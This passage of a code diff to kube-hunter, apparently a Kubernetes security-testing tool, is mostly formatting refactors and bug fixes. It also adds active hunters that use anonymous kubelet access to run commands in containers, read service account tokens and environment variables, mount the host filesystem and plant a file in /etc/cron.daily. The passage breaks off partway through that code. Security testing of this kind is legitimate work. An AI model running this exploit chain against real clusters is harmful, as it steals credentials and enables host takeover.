-            self, KubernetesCluster, "Certificate Includes Email Address", category=InformationDisclosure, vid="KHV021",
+            self,
+            KubernetesCluster,
+            "Certificate Includes Email Address",
+            category=InformationDisclosure,
+            vid="KHV021",
         )
         self.email = email
-        self.evidence = "email: {}".format(self.email)
+        self.evidence = f"email: {self.email}"
 
 
 @handler.subscribe(Service)
@@ -42,7 +48,7 @@ class CertificateDiscovery(Hunter):
         self.examine_certificate(cert)
 
     def examine_certificate(self, cert):
-        c = cert.strip(ssl.PEM_HEADER).strip(ssl.PEM_FOOTER)
+        c = cert.strip(ssl.PEM_HEADER).strip("\n").strip(ssl.PEM_FOOTER).strip("\n")
         certdata = base64.b64decode(c)
         emails = re.findall(email_pattern, certdata)
         for email in emails:

kube_hunter/modules/hunting/cves.py

@@ -33,7 +33,7 @@ class ServerApiVersionEndPointAccessPE(Vulnerability, Event):
 
 class ServerApiVersionEndPointAccessDos(Vulnerability, Event):
     """Node not patched for CVE-2019-1002100. Depending on your RBAC settings,
-     a crafted json-patch could cause a Denial of Service."""
+    a crafted json-patch could cause a Denial of Service."""
 
     def __init__(self, evidence):
         Vulnerability.__init__(
@@ -52,7 +52,11 @@ class PingFloodHttp2Implementation(Vulnerability, Event):
 
     def __init__(self, evidence):
         Vulnerability.__init__(
-            self, KubernetesCluster, name="Possible Ping Flood Attack", category=DenialOfService, vid="KHV024",
+            self,
+            KubernetesCluster,
+            name="Possible Ping Flood Attack",
+            category=DenialOfService,
+            vid="KHV024",
         )
         self.evidence = evidence
 
@@ -63,7 +67,11 @@ class ResetFloodHttp2Implementation(Vulnerability, Event):
 
     def __init__(self, evidence):
         Vulnerability.__init__(
-            self, KubernetesCluster, name="Possible Reset Flood Attack", category=DenialOfService, vid="KHV025",
+            self,
+            KubernetesCluster,
+            name="Possible Reset Flood Attack",
+            category=DenialOfService,
+            vid="KHV025",
         )
         self.evidence = evidence
 
@@ -89,10 +97,14 @@ class IncompleteFixToKubectlCpVulnerability(Vulnerability, Event):
 
     def __init__(self, binary_version):
         Vulnerability.__init__(
-            self, KubectlClient, "Kubectl Vulnerable To CVE-2019-11246", category=RemoteCodeExec, vid="KHV027",
+            self,
+            KubectlClient,
+            "Kubectl Vulnerable To CVE-2019-11246",
+            category=RemoteCodeExec,
+            vid="KHV027",
         )
         self.binary_version = binary_version
-        self.evidence = "kubectl version: {}".format(self.binary_version)
+        self.evidence = f"kubectl version: {self.binary_version}"
 
 
 class KubectlCpVulnerability(Vulnerability, Event):
@@ -101,10 +113,14 @@ class KubectlCpVulnerability(Vulnerability, Event):
 
     def __init__(self, binary_version):
         Vulnerability.__init__(
-            self, KubectlClient, "Kubectl Vulnerable To CVE-2019-1002101", category=RemoteCodeExec, vid="KHV028",
+            self,
+            KubectlClient,
+            "Kubectl Vulnerable To CVE-2019-1002101",
+            category=RemoteCodeExec,
+            vid="KHV028",
         )
         self.binary_version = binary_version
-        self.evidence = "kubectl version: {}".format(self.binary_version)
+        self.evidence = f"kubectl version: {self.binary_version}"
 
 
 class CveUtils:

kube_hunter/modules/hunting/dashboard.py

@@ -16,7 +16,11 @@ class DashboardExposed(Vulnerability, Event):
 
     def __init__(self, nodes):
         Vulnerability.__init__(
-            self, KubernetesCluster, "Dashboard Exposed", category=RemoteCodeExec, vid="KHV029",
+            self,
+            KubernetesCluster,
+            "Dashboard Exposed",
+            category=RemoteCodeExec,
+            vid="KHV029",
         )
         self.evidence = "nodes: {}".format(" ".join(nodes)) if nodes else None
 

kube_hunter/modules/hunting/dns.py

@@ -18,10 +18,14 @@ class PossibleDnsSpoofing(Vulnerability, Event):
 
     def __init__(self, kubedns_pod_ip):
         Vulnerability.__init__(
-            self, KubernetesCluster, "Possible DNS Spoof", category=IdentityTheft, vid="KHV030",
+            self,
+            KubernetesCluster,
+            "Possible DNS Spoof",
+            category=IdentityTheft,
+            vid="KHV030",
         )
         self.kubedns_pod_ip = kubedns_pod_ip
-        self.evidence = "kube-dns at: {}".format(self.kubedns_pod_ip)
+        self.evidence = f"kube-dns at: {self.kubedns_pod_ip}"
 
 
 # Only triggered with RunningAsPod base event
@@ -61,7 +65,9 @@ class DnsSpoofHunter(ActiveHunter):
         self_ip = dns_info_res[IP].dst
 
         arp_responses, _ = srp(
-            Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(op=1, pdst=f"{self_ip}/24"), timeout=config.network_timeout, verbose=0,
+            Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(op=1, pdst=f"{self_ip}/24"),
+            timeout=config.network_timeout,
+            verbose=0,
         )
         for _, response in arp_responses:
             if response[Ether].src == kubedns_pod_mac:
@@ -70,7 +76,7 @@ class DnsSpoofHunter(ActiveHunter):
     def execute(self):
         config = get_config()
         logger.debug("Attempting to get kube-dns pod ip")
-        self_ip = sr1(IP(dst="1.1.1.1", ttl=1) / ICMP(), verbose=0, timeout=config.netork_timeout)[IP].dst
+        self_ip = sr1(IP(dst="1.1.1.1", ttl=1) / ICMP(), verbose=0, timeout=config.network_timeout)[IP].dst
         cbr0_ip, cbr0_mac = self.get_cbr0_ip_mac()
 
         kubedns = self.get_kube_dns_ip_mac()

kube_hunter/modules/hunting/etcd.py

@@ -26,7 +26,11 @@ class EtcdRemoteWriteAccessEvent(Vulnerability, Event):
 
     def __init__(self, write_res):
         Vulnerability.__init__(
-            self, KubernetesCluster, name="Etcd Remote Write Access Event", category=RemoteCodeExec, vid="KHV031",
+            self,
+            KubernetesCluster,
+            name="Etcd Remote Write Access Event",
+            category=RemoteCodeExec,
+            vid="KHV031",
         )
         self.evidence = write_res
 
@@ -36,7 +40,11 @@ class EtcdRemoteReadAccessEvent(Vulnerability, Event):
 
     def __init__(self, keys):
         Vulnerability.__init__(
-            self, KubernetesCluster, name="Etcd Remote Read Access Event", category=AccessRisk, vid="KHV032",
+            self,
+            KubernetesCluster,
+            name="Etcd Remote Read Access Event",
+            category=AccessRisk,
+            vid="KHV032",
         )
         self.evidence = keys
 
@@ -81,6 +89,7 @@ class EtcdRemoteAccessActive(ActiveHunter):
     def __init__(self, event):
         self.event = event
         self.write_evidence = ""
+        self.event.protocol = "https"
 
     def db_keys_write_access(self):
         config = get_config()
@@ -88,7 +97,7 @@ class EtcdRemoteAccessActive(ActiveHunter):
         data = {"value": "remotely written data"}
         try:
             r = requests.post(
-                f"{self.protocol}://{self.event.host}:{ETCD_PORT}/v2/keys/message",
+                f"{self.event.protocol}://{self.event.host}:{ETCD_PORT}/v2/keys/message",
                 data=data,
                 timeout=config.network_timeout,
             )
@@ -113,14 +122,16 @@ class EtcdRemoteAccess(Hunter):
         self.event = event
         self.version_evidence = ""
         self.keys_evidence = ""
-        self.protocol = "https"
+        self.event.protocol = "https"
 
     def db_keys_disclosure(self):
         config = get_config()
         logger.debug(f"{self.event.host} Passive hunter is attempting to read etcd keys remotely")
         try:
             r = requests.get(
-                f"{self.protocol}://{self.eventhost}:{ETCD_PORT}/v2/keys", verify=False, timeout=config.network_timeout,
+                f"{self.event.protocol}://{self.event.host}:{ETCD_PORT}/v2/keys",
+                verify=False,
+                timeout=config.network_timeout,
             )
             self.keys_evidence = r.content if r.status_code == 200 and r.content != "" else False
             return self.keys_evidence
@@ -132,7 +143,7 @@ class EtcdRemoteAccess(Hunter):
         logger.debug(f"Trying to check etcd version remotely at {self.event.host}")
         try:
             r = requests.get(
-                f"{self.protocol}://{self.event.host}:{ETCD_PORT}/version",
+                f"{self.event.protocol}://{self.event.host}:{ETCD_PORT}/version",
                 verify=False,
                 timeout=config.network_timeout,
             )
@@ -146,7 +157,9 @@ class EtcdRemoteAccess(Hunter):
         logger.debug(f"Trying to access etcd insecurely at {self.event.host}")
         try:
             r = requests.get(
-                f"http://{self.event.host}:{ETCD_PORT}/version", verify=False, timeout=config.network_timeout,
+                f"http://{self.event.host}:{ETCD_PORT}/version",
+                verify=False,
+                timeout=config.network_timeout,
             )
             return r.content if r.status_code == 200 and r.content else False
         except requests.exceptions.ConnectionError:
@@ -154,10 +167,10 @@ class EtcdRemoteAccess(Hunter):
 
     def execute(self):
         if self.insecure_access():  # make a decision between http and https protocol
-            self.protocol = "http"
+            self.event.protocol = "http"
         if self.version_disclosure():
             self.publish_event(EtcdRemoteVersionDisclosureEvent(self.version_evidence))
-            if self.protocol == "http":
+            if self.event.protocol == "http":
                 self.publish_event(EtcdAccessEnabledWithoutAuthEvent(self.version_evidence))
             if self.db_keys_disclosure():
                 self.publish_event(EtcdRemoteReadAccessEvent(self.keys_evidence))

kube_hunter/modules/hunting/kubelet.py

@@ -1,10 +1,12 @@
 import json
 import logging
+import time
 from enum import Enum
 
 import re
 import requests
 import urllib3
+import uuid
 
 from kube_hunter.conf import get_config
 from kube_hunter.core.events import handler
@@ -33,7 +35,7 @@ class ExposedPodsHandler(Vulnerability, Event):
 
     def __init__(self, pods):
         Vulnerability.__init__(
-            self, component=Kubelet, name="Exposed Pods", category=InformationDisclosure,
+            self, component=Kubelet, name="Exposed Pods", category=InformationDisclosure, vid="KHV052"
         )
         self.pods = pods
         self.evidence = f"count: {len(self.pods)}"
@@ -45,7 +47,11 @@ class AnonymousAuthEnabled(Vulnerability, Event):
 
     def __init__(self):
         Vulnerability.__init__(
-            self, component=Kubelet, name="Anonymous Authentication", category=RemoteCodeExec, vid="KHV036",
+            self,
+            component=Kubelet,
+            name="Anonymous Authentication",
+            category=RemoteCodeExec,
+            vid="KHV036",
         )
 
 
@@ -54,7 +60,11 @@ class ExposedContainerLogsHandler(Vulnerability, Event):
 
     def __init__(self):
         Vulnerability.__init__(
-            self, component=Kubelet, name="Exposed Container Logs", category=InformationDisclosure, vid="KHV037",
+            self,
+            component=Kubelet,
+            name="Exposed Container Logs",
+            category=InformationDisclosure,
+            vid="KHV037",
         )
 
 
@@ -64,10 +74,14 @@ class ExposedRunningPodsHandler(Vulnerability, Event):
 
     def __init__(self, count):
         Vulnerability.__init__(
-            self, component=Kubelet, name="Exposed Running Pods", category=InformationDisclosure, vid="KHV038",
+            self,
+            component=Kubelet,
+            name="Exposed Running Pods",
+            category=InformationDisclosure,
+            vid="KHV038",
         )
         self.count = count
-        self.evidence = "{} running pods".format(self.count)
+        self.evidence = f"{self.count} running pods"
 
 
 class ExposedExecHandler(Vulnerability, Event):
@@ -75,7 +89,11 @@ class ExposedExecHandler(Vulnerability, Event):
 
     def __init__(self):
         Vulnerability.__init__(
-            self, component=Kubelet, name="Exposed Exec On Container", category=RemoteCodeExec, vid="KHV039",
+            self,
+            component=Kubelet,
+            name="Exposed Exec On Container",
+            category=RemoteCodeExec,
+            vid="KHV039",
         )
 
 
@@ -84,7 +102,11 @@ class ExposedRunHandler(Vulnerability, Event):
 
     def __init__(self):
         Vulnerability.__init__(
-            self, component=Kubelet, name="Exposed Run Inside Container", category=RemoteCodeExec, vid="KHV040",
+            self,
+            component=Kubelet,
+            name="Exposed Run Inside Container",
+            category=RemoteCodeExec,
+            vid="KHV040",
         )
 
 
@@ -93,7 +115,11 @@ class ExposedPortForwardHandler(Vulnerability, Event):
 
     def __init__(self):
         Vulnerability.__init__(
-            self, component=Kubelet, name="Exposed Port Forward", category=RemoteCodeExec, vid="KHV041",
+            self,
+            component=Kubelet,
+            name="Exposed Port Forward",
+            category=RemoteCodeExec,
+            vid="KHV041",
         )
 
 
@@ -103,7 +129,11 @@ class ExposedAttachHandler(Vulnerability, Event):
 
     def __init__(self):
         Vulnerability.__init__(
-            self, component=Kubelet, name="Exposed Attaching To Container", category=RemoteCodeExec, vid="KHV042",
+            self,
+            component=Kubelet,
+            name="Exposed Attaching To Container",
+            category=RemoteCodeExec,
+            vid="KHV042",
         )
 
 
@@ -113,19 +143,43 @@ class ExposedHealthzHandler(Vulnerability, Event):
 
     def __init__(self, status):
         Vulnerability.__init__(
-            self, component=Kubelet, name="Cluster Health Disclosure", category=InformationDisclosure, vid="KHV043",
+            self,
+            component=Kubelet,
+            name="Cluster Health Disclosure",
+            category=InformationDisclosure,
+            vid="KHV043",
         )
         self.status = status
         self.evidence = f"status: {self.status}"
 
 
+class ExposedExistingPrivilegedContainersViaSecureKubeletPort(Vulnerability, Event):
+    """A malicious actor, that has confirmed anonymous access to the API via the kubelet's secure port, \
+can leverage the existing privileged containers identified to damage the host and potentially \
+the whole cluster"""
+
+    def __init__(self, exposed_existing_privileged_containers):
+        Vulnerability.__init__(
+            self,
+            component=KubernetesCluster,
+            name="Exposed Existing Privileged Container(s) Via Secure Kubelet Port",
+            category=AccessRisk,
+            vid="KHV051",
+        )
+        self.exposed_existing_privileged_containers = exposed_existing_privileged_containers
+
+
 class PrivilegedContainers(Vulnerability, Event):
     """A Privileged container exist on a node
     could expose the node/cluster to unwanted root operations"""
 
     def __init__(self, containers):
         Vulnerability.__init__(
-            self, component=KubernetesCluster, name="Privileged Container", category=AccessRisk, vid="KHV044",
+            self,
+            component=KubernetesCluster,
+            name="Privileged Container",
+            category=AccessRisk,
+            vid="KHV044",
         )
         self.containers = containers
         self.evidence = f"pod: {containers[0][0]}, " f"container: {containers[0][1]}, " f"count: {len(containers)}"
@@ -136,7 +190,11 @@ class ExposedSystemLogs(Vulnerability, Event):
 
     def __init__(self):
         Vulnerability.__init__(
-            self, component=Kubelet, name="Exposed System Logs", category=InformationDisclosure, vid="KHV045",
+            self,
+            component=Kubelet,
+            name="Exposed System Logs",
+            category=InformationDisclosure,
+            vid="KHV045",
         )
 
 
@@ -145,7 +203,11 @@ class ExposedKubeletCmdline(Vulnerability, Event):
 
     def __init__(self, cmdline):
         Vulnerability.__init__(
-            self, component=Kubelet, name="Exposed Kubelet Cmdline", category=InformationDisclosure, vid="KHV046",
+            self,
+            component=Kubelet,
+            name="Exposed Kubelet Cmdline",
+            category=InformationDisclosure,
+            vid="KHV046",
         )
         self.cmdline = cmdline
         self.evidence = f"cmdline: {self.cmdline}"
@@ -244,7 +306,7 @@ class SecureKubeletPortHunter(Hunter):
         """ all methods will return the handler name if successful """
 
         def __init__(self, path, pod, session=None):
-            self.path = path
+            self.path = path + ("/" if not path.endswith("/") else "")
             self.session = session if session else requests.Session()
             self.pod = pod
 
@@ -252,7 +314,9 @@ class SecureKubeletPortHunter(Hunter):
         def test_container_logs(self):
             config = get_config()
             logs_url = self.path + KubeletHandlers.CONTAINERLOGS.value.format(
-                pod_namespace=self.pod["namespace"], pod_id=self.pod["name"], container_name=self.pod["container"],
+                pod_namespace=self.pod["namespace"],
+                pod_id=self.pod["name"],
+                container_name=self.pod["container"],
             )
             return self.session.get(logs_url, verify=False, timeout=config.network_timeout).status_code == 200
 
@@ -270,36 +334,46 @@ class SecureKubeletPortHunter(Hunter):
             return (
                 "/cri/exec/"
                 in self.session.get(
-                    exec_url, headers=headers, allow_redirects=False, verify=False, timeout=config.network_timeout,
+                    exec_url,
+                    headers=headers,
+                    allow_redirects=False,
+                    verify=False,
+                    timeout=config.network_timeout,
                 ).text
             )
 
         # need further investigation on websockets protocol for further implementation
         def test_port_forward(self):
-            config = get_config()
+            pass
-            headers = {
-                "Upgrade": "websocket",
-                "Connection": "Upgrade",
-                "Sec-Websocket-Key": "s",
-                "Sec-Websocket-Version": "13",
-                "Sec-Websocket-Protocol": "SPDY",
-            }
-            pf_url = self.path + KubeletHandlers.PORTFORWARD.value.format(
-                pod_namespace=self.pod["namespace"], pod_id=self.pod["name"], port=80,
-            )
-            self.session.get(
-                pf_url, headers=headers, verify=False, stream=True, timeout=config.network_timeout,
-            ).status_code == 200
             # TODO: what to return?
+            # Example starting code:
+            #
+            # config = get_config()
+            # headers = {
+            #     "Upgrade": "websocket",
+            #     "Connection": "Upgrade",
+            #     "Sec-Websocket-Key": "s",
+            #     "Sec-Websocket-Version": "13",
+            #     "Sec-Websocket-Protocol": "SPDY",
+            # }
+            # pf_url = self.path + KubeletHandlers.PORTFORWARD.value.format(
+            #     pod_namespace=self.pod["namespace"],
+            #     pod_id=self.pod["name"],
+            #     port=80,
+            # )
 
         # executes one command and returns output
         def test_run_container(self):
             config = get_config()
             run_url = self.path + KubeletHandlers.RUN.value.format(
-                pod_namespace="test", pod_id="test", container_name="test", cmd="",
+                pod_namespace="test",
+                pod_id="test",
+                container_name="test",
+                cmd="",
             )
-            # if we get a Method Not Allowed, we know we passed Authentication and Authorization.
+            # if we get this message, we know we passed Authentication and Authorization, and that the endpoint is enabled.
-            return self.session.get(run_url, verify=False, timeout=config.network_timeout).status_code == 405
+            status_code = self.session.post(run_url, verify=False, timeout=config.network_timeout).status_code
+            return status_code == requests.codes.NOT_FOUND
 
         # returns list of currently running pods
         def test_running_pods(self):
@@ -321,7 +395,10 @@ class SecureKubeletPortHunter(Hunter):
             return (
                 "/cri/attach/"
                 in self.session.get(
-                    attach_url, allow_redirects=False, verify=False, timeout=config.network_timeout,
+                    attach_url,
+                    allow_redirects=False,
+                    verify=False,
+                    timeout=config.network_timeout,
                 ).text
             )
 
@@ -329,7 +406,8 @@ class SecureKubeletPortHunter(Hunter):
         def test_logs_endpoint(self):
             config = get_config()
             logs_url = self.session.get(
-                self.path + KubeletHandlers.LOGS.value.format(path=""), timeout=config.network_timeout,
+                self.path + KubeletHandlers.LOGS.value.format(path=""),
+                timeout=config.network_timeout,
             ).text
             return "<pre>" in logs_url
 
@@ -337,7 +415,9 @@ class SecureKubeletPortHunter(Hunter):
         def test_pprof_cmdline(self):
             config = get_config()
             cmd = self.session.get(
-                self.path + KubeletHandlers.PPROF_CMDLINE.value, verify=False, timeout=config.network_timeout,
+                self.path + KubeletHandlers.PPROF_CMDLINE.value,
+                verify=False,
+                timeout=config.network_timeout,
             )
             return cmd.text if cmd.status_code == 200 else None
 
@@ -349,7 +429,7 @@ class SecureKubeletPortHunter(Hunter):
             # self.session.cert = self.event.client_cert
         # copy session to event
         self.event.session = self.session
-        self.path = "https://{self.event.host}:10250"
+        self.path = f"https://{self.event.host}:10250"
         self.kubehunter_pod = {
             "name": "kube-hunter",
             "namespace": "default",
@@ -425,7 +505,7 @@ class SecureKubeletPortHunter(Hunter):
                 pod_data = next(filter(is_kubesystem_pod, pods_data), None)
 
             if pod_data:
-                container_data = next(pod_data["spec"]["containers"], None)
+                container_data = pod_data["spec"]["containers"][0]
                 if container_data:
                     return {
                         "name": pod_data["metadata"]["name"],
@@ -434,6 +514,521 @@ class SecureKubeletPortHunter(Hunter):
                     }
 
 
+""" Active Hunters """
+
+
+@handler.subscribe(AnonymousAuthEnabled)
+class ProveAnonymousAuth(ActiveHunter):
+    """Foothold Via Secure Kubelet Port
+    Attempts to demonstrate that a malicious actor can establish foothold into the cluster via a
+    container abusing the configuration of the kubelet's secure port: authentication-auth=false.
+    """
+
+    def __init__(self, event):
+        self.event = event
+        self.base_url = f"https://{self.event.host}:10250/"
+
+    def get_request(self, url, verify=False):
+        config = get_config()
+        try:
+            response_text = self.event.session.get(url=url, verify=verify, timeout=config.network_timeout).text.rstrip()
+
+            return response_text
+        except Exception as ex:
+            logging.debug("Exception: " + str(ex))
+            return "Exception: " + str(ex)
+
+    def post_request(self, url, params, verify=False):
+        config = get_config()
+        try:
+            response_text = self.event.session.post(
+                url=url, verify=verify, params=params, timeout=config.network_timeout
+            ).text.rstrip()
+
+            return response_text
+        except Exception as ex:
+            logging.debug("Exception: " + str(ex))
+            return "Exception: " + str(ex)
+
+    @staticmethod
+    def has_no_exception(result):
+        return "Exception: " not in result
+
+    @staticmethod
+    def has_no_error(result):
+        possible_errors = ["exited with", "Operation not permitted", "Permission denied", "No such file or directory"]
+
+        return not any(error in result for error in possible_errors)
+
+    @staticmethod
+    def has_no_error_nor_exception(result):
+        return ProveAnonymousAuth.has_no_error(result) and ProveAnonymousAuth.has_no_exception(result)
+
+    def cat_command(self, run_request_url, full_file_path):
+        return self.post_request(run_request_url, {"cmd": f"cat {full_file_path}"})
+
+    def process_container(self, run_request_url):
+        service_account_token = self.cat_command(run_request_url, "/var/run/secrets/kubernetes.io/serviceaccount/token")
+
+        environment_variables = self.post_request(run_request_url, {"cmd": "env"})
+
+        if self.has_no_error_nor_exception(service_account_token):
+            return {
+                "result": True,
+                "service_account_token": service_account_token,
+                "environment_variables": environment_variables,
+            }
+
+        return {"result": False}
+
+    def execute(self):
+        pods_raw = self.get_request(self.base_url + KubeletHandlers.PODS.value)
+
+        # At this point, the following must happen:
+        # a) we get the data of the running pods
+        # b) we get a forbidden message because the API server
+        # has a configuration that denies anonymous attempts despite the kubelet being vulnerable
+
+        if self.has_no_error_nor_exception(pods_raw) and "items" in pods_raw:
+            pods_data = json.loads(pods_raw)["items"]
+
+            temp_message = ""
+            exposed_existing_privileged_containers = list()
+
+            for pod_data in pods_data:
+                pod_namespace = pod_data["metadata"]["namespace"]
+                pod_id = pod_data["metadata"]["name"]
+
+                for container_data in pod_data["spec"]["containers"]:
+                    container_name = container_data["name"]
+
+                    run_request_url = self.base_url + f"run/{pod_namespace}/{pod_id}/{container_name}"
+
+                    extracted_data = self.process_container(run_request_url)
+
+                    if extracted_data["result"]:
+                        service_account_token = extracted_data["service_account_token"]
+                        environment_variables = extracted_data["environment_variables"]
+
+                        temp_message += (
+                            f"\n\nPod namespace: {pod_namespace}"
+                            + f"\n\nPod ID: {pod_id}"
+                            + f"\n\nContainer name: {container_name}"
+                            + f"\n\nService account token: {service_account_token}"
+                            + f"\nEnvironment variables: {environment_variables}"
+                        )
+
+                        first_check = container_data.get("securityContext", {}).get("privileged")
+
+                        first_subset = container_data.get("securityContext", {})
+                        second_subset = first_subset.get("capabilities", {})
+                        data_for_second_check = second_subset.get("add", [])
+
+                        second_check = "SYS_ADMIN" in data_for_second_check
+
+                        if first_check or second_check:
+                            exposed_existing_privileged_containers.append(
+                                {
+                                    "pod_namespace": pod_namespace,
+                                    "pod_id": pod_id,
+                                    "container_name": container_name,
+                                    "service_account_token": service_account_token,
+                                    "environment_variables": environment_variables,
+                                }
+                            )
+
+            if temp_message:
+                message = "The following containers have been successfully breached." + temp_message
+
+                self.event.evidence = f"{message}"
+
+            if exposed_existing_privileged_containers:
+                self.publish_event(
+                    ExposedExistingPrivilegedContainersViaSecureKubeletPort(
+                        exposed_existing_privileged_containers=exposed_existing_privileged_containers
+                    )
+                )
+
+
+@handler.subscribe(ExposedExistingPrivilegedContainersViaSecureKubeletPort)
+class MaliciousIntentViaSecureKubeletPort(ActiveHunter):
+    """Malicious Intent Via Secure Kubelet Port
+    Attempts to demonstrate that a malicious actor can leverage existing privileged containers
+    exposed via the kubelet's secure port, due to anonymous auth enabled misconfiguration,
+    such that a process can be started or modified on the host.
+    """
+
+    def __init__(self, event, seconds_to_wait_for_os_command=1):
+        self.event = event
+        self.base_url = f"https://{self.event.host}:10250/"
+        self.seconds_to_wait_for_os_command = seconds_to_wait_for_os_command
+        self.number_of_rm_attempts = 5
+        self.number_of_rmdir_attempts = 5
+        self.number_of_umount_attempts = 5
+
+    def post_request(self, url, params, verify=False):
+        config = get_config()
+        try:
+            response_text = self.event.session.post(
+                url, verify, params=params, timeout=config.network_timeout
+            ).text.rstrip()
+
+            return response_text
+        except Exception as ex:
+            logging.debug("Exception: " + str(ex))
+            return "Exception: " + str(ex)
+
+    def cat_command(self, run_request_url, full_file_path):
+        return self.post_request(run_request_url, {"cmd": f"cat {full_file_path}"})
+
+    def clean_attacked_exposed_existing_privileged_container(
+        self,
+        run_request_url,
+        file_system_or_partition,
+        directory_created,
+        file_created,
+        number_of_rm_attempts,
+        number_of_umount_attempts,
+        number_of_rmdir_attempts,
+        seconds_to_wait_for_os_command,
+    ):
+
+        self.rm_command(
+            run_request_url,
+            f"{directory_created}/etc/cron.daily/{file_created}",
+            number_of_rm_attempts,
+            seconds_to_wait_for_os_command,
+        )
+
+        self.umount_command(
+            run_request_url,
+            file_system_or_partition,
+            directory_created,
+            number_of_umount_attempts,
+            seconds_to_wait_for_os_command,
+        )
+
+        self.rmdir_command(
+            run_request_url,
+            directory_created,
+            number_of_rmdir_attempts,
+            seconds_to_wait_for_os_command,
+        )
+
+    def check_file_exists(self, run_request_url, file):
+        file_exists = self.ls_command(run_request_url=run_request_url, file_or_directory=file)
+
+        return ProveAnonymousAuth.has_no_error_nor_exception(file_exists)
+
+    def rm_command(self, run_request_url, file_to_remove, number_of_rm_attempts, seconds_to_wait_for_os_command):
+        if self.check_file_exists(run_request_url, file_to_remove):
+            for _ in range(number_of_rm_attempts):
+                command_execution_outcome = self.post_request(run_request_url, {"cmd": f"rm -f {file_to_remove}"})
+
+                if seconds_to_wait_for_os_command:
+                    time.sleep(seconds_to_wait_for_os_command)
+
+                first_check = ProveAnonymousAuth.has_no_error_nor_exception(command_execution_outcome)
+                second_check = self.check_file_exists(run_request_url, file_to_remove)
+
+                if first_check and not second_check:
+                    return True
+
+        pod_id = run_request_url.replace(self.base_url + "run/", "").split("/")[1]
+        container_name = run_request_url.replace(self.base_url + "run/", "").split("/")[2]
+        logger.warning(
+            "kube-hunter: "
+            + "POD="
+            + pod_id
+            + ", "
+            + "CONTAINER="
+            + container_name
+            + " - Unable to remove file: "
+            + file_to_remove
+        )
+
+        return False
+
+    def chmod_command(self, run_request_url, permissions, file):
+        return self.post_request(run_request_url, {"cmd": f"chmod {permissions} {file}"})
+
+    def touch_command(self, run_request_url, file_to_create):
+        return self.post_request(run_request_url, {"cmd": f"touch {file_to_create}"})
+
+    def attack_exposed_existing_privileged_container(
+        self, run_request_url, directory_created, number_of_rm_attempts, seconds_to_wait_for_os_command, file_name=None
+    ):
+        if file_name is None:
+            file_name = "kube-hunter" + str(uuid.uuid1())
+
+        file_name_with_path = f"{directory_created}/etc/cron.daily/{file_name}"
+
+        file_created = self.touch_command(run_request_url, file_name_with_path)
+
+        if ProveAnonymousAuth.has_no_error_nor_exception(file_created):
+            permissions_changed = self.chmod_command(run_request_url, "755", file_name_with_path)
+
+            if ProveAnonymousAuth.has_no_error_nor_exception(permissions_changed):
+                return {"result": True, "file_created": file_name}
+
+            self.rm_command(run_request_url, file_name_with_path, number_of_rm_attempts, seconds_to_wait_for_os_command)
+
+        return {"result": False}
+
+    def check_directory_exists(self, run_request_url, directory):
+        directory_exists = self.ls_command(run_request_url=run_request_url, file_or_directory=directory)
+
+        return ProveAnonymousAuth.has_no_error_nor_exception(directory_exists)
+
+    def rmdir_command(
+        self,
+        run_request_url,
+        directory_to_remove,
+        number_of_rmdir_attempts,
+        seconds_to_wait_for_os_command,
+    ):
+        if self.check_directory_exists(run_request_url, directory_to_remove):
+            for _ in range(number_of_rmdir_attempts):
+                command_execution_outcome = self.post_request(run_request_url, {"cmd": f"rmdir {directory_to_remove}"})
+
+                if seconds_to_wait_for_os_command:
+                    time.sleep(seconds_to_wait_for_os_command)
+
+                first_check = ProveAnonymousAuth.has_no_error_nor_exception(command_execution_outcome)
+                second_check = self.check_directory_exists(run_request_url, directory_to_remove)
+
+                if first_check and not second_check:
+                    return True
+
+        pod_id = run_request_url.replace(self.base_url + "run/", "").split("/")[1]
+        container_name = run_request_url.replace(self.base_url + "run/", "").split("/")[2]
+        logger.warning(
+            "kube-hunter: "
+            + "POD="
+            + pod_id
+            + ", "
+            + "CONTAINER="
+            + container_name
+            + " - Unable to remove directory: "
+            + directory_to_remove
+        )
+
+        return False
+
+    def ls_command(self, run_request_url, file_or_directory):
+        return self.post_request(run_request_url, {"cmd": f"ls {file_or_directory}"})
+
+    def umount_command(
+        self,
+        run_request_url,
+        file_system_or_partition,
+        directory,
+        number_of_umount_attempts,
+        seconds_to_wait_for_os_command,
+    ):
+        # Note: the logic implemented proved more reliable than using "df"
+        # command to resolve for mounted systems/partitions.
+        current_files_and_directories = self.ls_command(run_request_url, directory)
+
+        if self.ls_command(run_request_url, directory) == current_files_and_directories:
+            for _ in range(number_of_umount_attempts):
+                # Ref: http://man7.org/linux/man-pages/man2/umount.2.html
+                command_execution_outcome = self.post_request(
+                    run_request_url, {"cmd": f"umount {file_system_or_partition} {directory}"}
+                )
+
+                if seconds_to_wait_for_os_command:
+                    time.sleep(seconds_to_wait_for_os_command)
+
+                first_check = ProveAnonymousAuth.has_no_error_nor_exception(command_execution_outcome)
+                second_check = self.ls_command(run_request_url, directory) != current_files_and_directories
+
+                if first_check and second_check:
+                    return True
+
+        pod_id = run_request_url.replace(self.base_url + "run/", "").split("/")[1]
+        container_name = run_request_url.replace(self.base_url + "run/", "").split("/")[2]
+        logger.warning(
+            "kube-hunter: "
+            + "POD="
+            + pod_id
+            + ", "
+            + "CONTAINER="
+            + container_name
+            + " - Unable to unmount "
+            + file_system_or_partition
+            + " at: "
+            + directory
+        )
+
+        return False
+
+    def mount_command(self, run_request_url, file_system_or_partition, directory):
+        # Ref: http://man7.org/linux/man-pages/man1/mkdir.1.html
+        return self.post_request(run_request_url, {"cmd": f"mount {file_system_or_partition} {directory}"})
+
+    def mkdir_command(self, run_request_url, directory_to_create):
+        # Ref: http://man7.org/linux/man-pages/man1/mkdir.1.html
+        return self.post_request(run_request_url, {"cmd": f"mkdir {directory_to_create}"})
+
+    def findfs_command(self, run_request_url, file_system_or_partition_type, file_system_or_partition):
+        # Ref: http://man7.org/linux/man-pages/man8/findfs.8.html
+        return self.post_request(
+            run_request_url, {"cmd": f"findfs {file_system_or_partition_type}{file_system_or_partition}"}
+        )
+
+    def get_root_values(self, command_line):
+        for command in command_line.split(" "):
+            # Check for variable-definition commands as there can be commands which don't define variables.
+            if "=" in command:
+                split = command.split("=")
+                if split[0] == "root":
+                    if len(split) > 2:
+                        # Potential valid scenario: root=LABEL=example
+                        root_value_type = split[1] + "="
+                        root_value = split[2]
+
+                        return root_value, root_value_type
+                    else:
+                        root_value_type = ""
+                        root_value = split[1]
+
+                        return root_value, root_value_type
+
+        return None, None
+
+    def process_exposed_existing_privileged_container(
+        self,
+        run_request_url,
+        number_of_umount_attempts,
